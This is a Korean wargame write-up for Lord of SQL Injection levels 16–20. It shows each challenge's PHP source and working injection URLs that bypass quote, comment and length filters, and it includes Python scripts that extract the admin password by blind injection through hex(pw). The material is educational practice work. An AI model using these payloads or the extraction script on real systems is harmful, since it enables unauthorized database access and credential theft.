LOS 16~20번
16번 succubus
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/\'/',$_GET[id])) exit("HeHe");
if(preg_match('/\'/',$_GET[pw])) exit("HeHe");
$query = "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) solve("succubus");
highlight_file(__FILE__);
?>
1
id='{$_GET[id]}' and pw='{$_GET[pw]}'
구문을 보면 이렇게 싱글 쿼터가 모두 들어가 있다.
이를 간단히 우회하려면 싱글 쿼터를 입력값에 넣어야하는데 필터링을 잘 하고 있다.
이를 우회하는 방법은 \를 사용하면 된다.
마크다운에서도 그렇고, 기타 언어들에 대해서도 특수 문자를 출력할 때 앞에 \를 넣는다.
그러면 뒤에 오는 싱글 쿼터가 문자로 인식이 되므로 구문을 깨트릴 수 있다.
1
2
https://los.rubiya.kr/chall/succubus_37568a99f12e6bd2f097e8038f74d768.php?id=\&pw=or%201=1%23
-> query : select id from prob_succubus where id='\' and pw='or 1=1#'
이렇게 되면 id의 인자 값이
1
\' and pw=
가 되고, 우회가 가능해진다.
17번 zombie_assassin
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
include "./config.php";
login_chk();
$db = dbconnect();
$_GET['id'] = strrev(addslashes($_GET['id']));
$_GET['pw'] = strrev(addslashes($_GET['pw']));
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_zombie_assassin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) solve("zombie_assassin");
highlight_file(__FILE__);
?>
얘는 strrev(addslashes) 라는 것을 입력 값에 붙인다.
addslashes는 ', ", \ 등을 입력 받으면 앞에 \를 추가한다.
그리고 strrev는 입력받은 문자열을 뒤집는다.
여러모로 CTF에서 나올법한 문제인데 우회는 위의 16번과 비슷하다.
" 더블쿼터를 넣으면 이것이 "\로 들어가면서 뒤에 있는 싱글쿼터가 문자로 인식된다.
1
2
3
4
5
https://los.rubiya.kr/chall/zombie_assassin_eac7521e07fe5f298301a44b61ffeec0.php?id=%22
-> query : select id from prob_zombie_assassin where id='"\' and pw=''
id="\' and pw=
로 인식이 되므로 pw에 입력 문자열이 거꾸로 들어간다는 것만 생각하고 넣으면 된다.
1
2
https://los.rubiya.kr/chall/zombie_assassin_eac7521e07fe5f298301a44b61ffeec0.php?id=%22&pw=%231%20ro
-> query : select id from prob_zombie_assassin where id='"\' and pw='or 1#'
18번 nightmare
1
2
3
4
5
6
7
8
9
10
11
12
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)|#|-/i', $_GET[pw])) exit("No Hack ~_~");
if(strlen($_GET[pw])>6) exit("No Hack ~_~");
$query = "select id from prob_nightmare where pw=('{$_GET[pw]}') and id!='admin'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) solve("nightmare");
highlight_file(__FILE__);
?>
입력 제한이 최대 6글자이다.
그리고 쿼리를 끊으려면 ')가 기본적으로 들어가야 하므로 자유롭게 쓸 수 있는 글자는 네 글자이다.
우선 주석이 필터링 되어있지만 ;%00으로 sql 구문은 끊을 수 있기에 두 글자를 사용한다.
그러면 pw=('') 구문을 두 글자로 참으로 만들어야 하는데,
SQL에서는 문자열을 숫자와 비교할 때 숫자 없이 문자로만 이루어진 문자열은 0으로 자동 형변환된다.
그렇기에 뒤에 =0을 넣어주면 참으로 만들어서 solve 할 수 있다.
1
2
3
https://los.rubiya.kr/chall/nightmare_be1285a95aa20e8fa154cb977c37fee5.php?pw=%27)=0;%00
-> query : select id from prob_nightmare where pw=('')=0;') and id!='admin'
19번 xavis
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/regex|like/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_xavis where id='admin' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_xavis where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("xavis");
highlight_file(__FILE__);
?>
이번에는 필터링 되어있는 것이 regex, like이 있다.
이런 것들은 이전에 풀었던 코드로 전부 우회가 되므로 그대로 사용했다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import string
import requests
my_cookies = dict(PHPSESSID="otf7fhtn919o3ug1slmvdq9leq")
url = "https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php"
abc = string.digits + string.ascii_letters
print("=== Step 1: Finding admin pw length ===")
idLength = 0
for length in range(1, 30):
param = "?pw=%27||id in (%22admin%22)%26%26length(pw) in (" + str(length) + ")%23"
new_url = url + param
res = requests.get(new_url, cookies=my_cookies)
if res.text.find("<h2>Hello admin</h2>") > 0:
idLength = length
print(f"admin pw length: {idLength}")
break
if idLength == 0:
print("Length not found!")
exit()
그런데 길이까지는 12로 잘 구해지는데, 비번이 안 긁어진다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import requests
import string
my_cookies = dict(PHPSESSID="hdvhaj2gskkqq32m6bfvk8tq27") # 본인의 세션 ID 확인
url = "https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php"
# Hex 값 검사용 리스트 (0~9, A~F)
hex_chars = string.digits + "ABCDEF"
print("=== Step 1: Finding admin hex(pw) length ===")
hexLength = 0
# Hex 길이는 보통 글자 수보다 훨씬 깁니다 (넉넉하게 100까지 탐색)
for length in range(1, 100):
# length(hex(pw))를 구합니다.
param = f"?pw=' || id in (\"admin\") %26%26 length(hex(pw))={length} %23"
new_url = url + param
res = requests.get(new_url, cookies=my_cookies)
if "Hello admin" in res.text:
hexLength = length
print(f"admin hex(pw) length: {hexLength}")
break
if hexLength == 0:
print("Hex Length not found!")
exit()
print("\n=== Step 2: Finding admin pw (Hex) ===")
result_hex = ""
for i in range(1, hexLength + 1):
for char in hex_chars:
# substr(hex(pw), i, 1)로 16진수 값을 한 글자씩 비교
param = f"?pw=' || id in (\"admin\") %26%26 substr(hex(pw),{i},1)=\"{char}\" %23"
new_url = url + param
res = requests.get(new_url, cookies=my_cookies)
if "Hello admin" in res.text:
result_hex += char
print(f"{i}번째 hex char: {char} (Current: {result_hex})")
break
print(f"\n=== Result ===")
print(f"Recovered Hex: {result_hex}")
모르겠어서 검색을 해보니 비밀번호가 한글이라면 단순 글자 비교로 구할 수 없다고 한다.
그래서 hex값으로 비밀번호를 바꾼 후 추출을 했고, 24글자와 hex(pw)값을 구할 수 있었다.
1
2
Recovered Hex: 0000C6B00000C6550000AD73
-> 우왕굳
으로 pw를 구할 수 있다.
20번 dragon
1
2
3
4
5
6
7
8
9
10
11
12
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_dragon where id='guest'# and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("dragon");
highlight_file(__FILE__);
?>
구문에 #이 들어가 있어서 뒤에가 주석 처리 되어버린다.
1
query : select id from prob_dragon where id='guest'# and pw=' '
처음부터 이런 상태이기에 Hello guest가 뜬다.
pw에 이것저것 값을 넣어보면 123, 1234 등일 때는 여전히 hello guest가 뜨는데
%0a, %00등을 넣으면 왜인지 hello guest가 사라진다.
#의 주석 범위가 한 줄이기 때문에 %0a(줄 바꿈)을 입력했을 때
주석이 끊긴다는 아이디어를 떠올릴 수 있었고, 이를 통해 우회가 가능하다.
1
2
3
https://los.rubiya.kr/chall/dragon_51996aa769df79afbf79eb4d66dbcef6.php?pw=%0a%20and%20pw=1234%20or%20id=%27admin%27%23
-> query : select id from prob_dragon where id='guest'# and pw=' and pw=1234 or id='admin'#'
이렇게 하면 #부터 pw=’까지가 주석 처리가 되므로 총 쿼리는
1
query : select id from prob_dragon where id='guest' and pw=1234 or id='admin'#'
가 되고, 일부러 틀린 pw를 넣어주면 id=’admin’이 적용된다.